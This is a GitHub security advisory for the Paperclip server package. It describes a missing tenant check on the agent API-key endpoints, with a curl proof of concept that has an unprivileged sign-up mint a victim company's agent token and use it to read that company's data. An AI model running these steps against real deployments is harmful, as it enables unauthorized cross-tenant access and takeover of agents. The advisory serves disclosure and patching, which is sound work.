Advisory

GHSA-47wq-cj9q-wpmp

Also known as: None

Summary

Paperclip: Cross-tenant agent API token minting via missing assertCompanyAccess on /api/agents/:id/keys

Details

<img width="7007" height="950" alt="01-setup" src="https://github.com/user-attachments/assets/1596b8d1-8de5-4c21-b1d2-2db41b568d7e" />

> Isolated paperclip instance running in authenticated mode (default config)
> on a clean Docker image matching commit b649bd4 (2026.411.0-canary.8, post
> the 2026.410.0 patch). This advisory was verified on an unmodified build.

Summary

POST /api/agents/:id/keys, GET /api/agents/:id/keys, and
DELETE /api/agents/:id/keys/:keyId (server/src/routes/agents.ts
lines 2050-2087) only call assertBoard to authorize the caller. They never
call assertCompanyAccess and never verify that the caller is a member of the
company that owns the target agent.

Any authenticated board user (including a freshly signed-up account with zero
company memberships and no instance_admin role) can mint a plaintext
pcp_* agent API token for any agent in any company on the instance. The
minted token is bound to the victim agent's companyId server-side, so
every downstream assertCompanyAccess check on that token authorizes
operations inside the victim tenant.

This is a pure authorization bypass on the core tenancy boundary. It is
distinct from GHSA-68qg-g8mg-6pr7 (the unauth import → RCE chain disclosed in
2026.410.0): that advisory fixed one handler, this report is a different
handler with the same class of mistake that the 2026.410.0 patch did not
cover.

Root Cause

server/src/routes/agents.ts, lines 2050-2087:

router.get("/agents/:id/keys", async (req, res) => {
  assertBoard(req);                             // <-- no assertCompanyAccess
  const id = req.params.id as string;
  const keys = await svc.listKeys(id);
  res.json(keys);
});

router.post("/agents/:id/keys", validate(createAgentKeySchema), async (req, res) => {
  assertBoard(req);                             // <-- no assertCompanyAccess
  const id = req.params.id as string;
  const key = await svc.createApiKey(id, req.body.name);
  ...
  res.status(201).json(key);                    // returns plaintext `token`
});

router.delete("/agents/:id/keys/:keyId", async (req, res) => {
  assertBoard(req);                             // <-- no assertCompanyAccess
  const keyId = req.params.keyId as string;
  const revoked = await svc.revokeKey(keyId);
  ...
});

Compare the handler 12 lines below, router.post("/agents/:id/wakeup"),
which shows the correct pattern: it fetches the agent, then calls
assertCompanyAccess(req, agent.companyId). The three /keys handlers above
do not even fetch the agent.

The token returned by POST /agents/:id/keys is bound to the victim
company in server/src/services/agents.ts, lines 580-609:

createApiKey: async (id: string, name: string) => {
  const existing = await getById(id);                 // victim agent
  ...
  const token = createToken();
  const keyHash = hashToken(token);
  const created = await db
    .insert(agentApiKeys)
    .values({
      agentId: id,
      companyId: existing.companyId,                  // <-- victim tenant
      name,
      keyHash,
    })
    .returning()
    .then((rows) => rows[0]);

  return {
    id: created.id,
    name: created.name,
    token,                                            // <-- plaintext returned
    createdAt: created.createdAt,
  };
},

actorMiddleware (server/src/middleware/auth.ts) then resolves the bearer
token to actor = { type: "agent", companyId: existing.companyId }, so every
subsequent assertCompanyAccess(req, victim.companyId) check passes.

The exact same assertBoard-only pattern is also present on agent lifecycle
handlers in the same file (POST /agents/:id/pause, /resume, /terminate,
and DELETE /agents/:id at lines 1962, 1985, 2006, 2029). An attacker can
terminate, delete, or silently pause any agent in any company with the same
primitive.

Trigger Conditions

  1. Paperclip running in authenticated mode (the public, multi-user configuration — PAPERCLIP_DEPLOYMENT_MODE=authenticated).
  2. PAPERCLIP_AUTH_DISABLE_SIGN_UP unset or false (the default — same default precondition as GHSA-68qg-g8mg-6pr7).
  3. At least one other company exists on the instance with at least one agent. In practice this is the normal state of any production paperclip deployment. The attacker needs the victim agent's ID, which leaks through activity feeds, heartbeat run APIs, and the sidebar-badges endpoint that the 2026.410.0 disclosure also flagged as under-protected.

No admin role, no invite, no email verification, no CSRF dance. The attacker
is an authenticated browser-session user with zero company memberships.

PoC

Verified against a freshly built ghcr.io/paperclipai/paperclip:latest
container at commit b649bd4 (2026.411.0-canary.8, which is post the
2026.410.0 import-bypass patch). Full 5-step reproduction:

<img width="5429" height="1448" alt="02-signup" src="https://github.com/user-attachments/assets/4c2b2939-326b-4e0d-aa01-05e22851486b" />
> Step 1-2: Mallory signs up via the default /api/auth/sign-up/email flow
> (no invite, no verification) and confirms via GET /api/companies that she
> is a member of zero companies. She has no tenant access through the normal
> authorization path.

# Step 1: attacker signs up as an unprivileged board user
curl -s -X POST http://<target>:3102/api/auth/sign-up/email \
  -H 'Content-Type: application/json' \
  -d '{"email":"[email protected]","password":"P@ssw0rd456","name":"mallory"}'
# Save the `better-auth.session_token` cookie from Set-Cookie.

# Step 2: confirm zero company membership
curl -s -H "Cookie: $MALLORY_SESSION" http://<target>:3102/api/companies
# -> []

<img width="2891" height="1697" alt="03-exploit" src="https://github.com/user-attachments/assets/c097e861-6bc9-4f6a-841c-b45501e27849" />
> Step 3 — the vulnerability. Mallory POSTs to /api/agents/:id/keys
> targeting an agent in Victim Corp (a company she is NOT a member of). The
> server returns a plaintext pcp_* token tied to the victim's companyId.
> There is no authorization error. assertBoard passed because Mallory is a
> board user; assertCompanyAccess was never called.

# Step 3: mint a plaintext token for a victim agent
VICTIM_AGENT=<any-agent-id-in-another-company>
curl -s -X POST \
  -H "Cookie: $MALLORY_SESSION" \
  -H "Origin: http://<target>:3102" \
  -H "Content-Type: application/json" \
  -d '{"name":"pwnkit"}' \
  http://<target>:3102/api/agents/$VICTIM_AGENT/keys
# -> 201 { "id":"...", "token":"pcp_8be3a5198e9ccba0ac7b3341395b2d3145fe2caa1b800e25", ... }

<img width="2983" height="2009" alt="04-exfil" src="https://github.com/user-attachments/assets/ede5d469-4119-432c-b0ae-5a4fabc9a56b" />
> Step 4-5: Use the stolen token as a Bearer credential. actorMiddleware
> resolves it to actor = { type: "agent", companyId: VICTIM }, so every
> downstream assertCompanyAccess gate authorizes reads against Victim Corp.
> Mallory can now enumerate the victim's company metadata, issues, approvals,
> and agent configuration — none of which she had access to 30 seconds ago.

Severity

Critical Basis: The source's own band: CRITICAL

Dates

Published
2026-04-16 22:48 UTC
Modified
2026-04-16 23:04 UTC

Affected packages and fixes

@paperclipai/server

npm · All systems

Affected

  • introduced 0, fixed 2026.416.0 (semver)

Fixed versions

2026.416.0

Fix

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Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences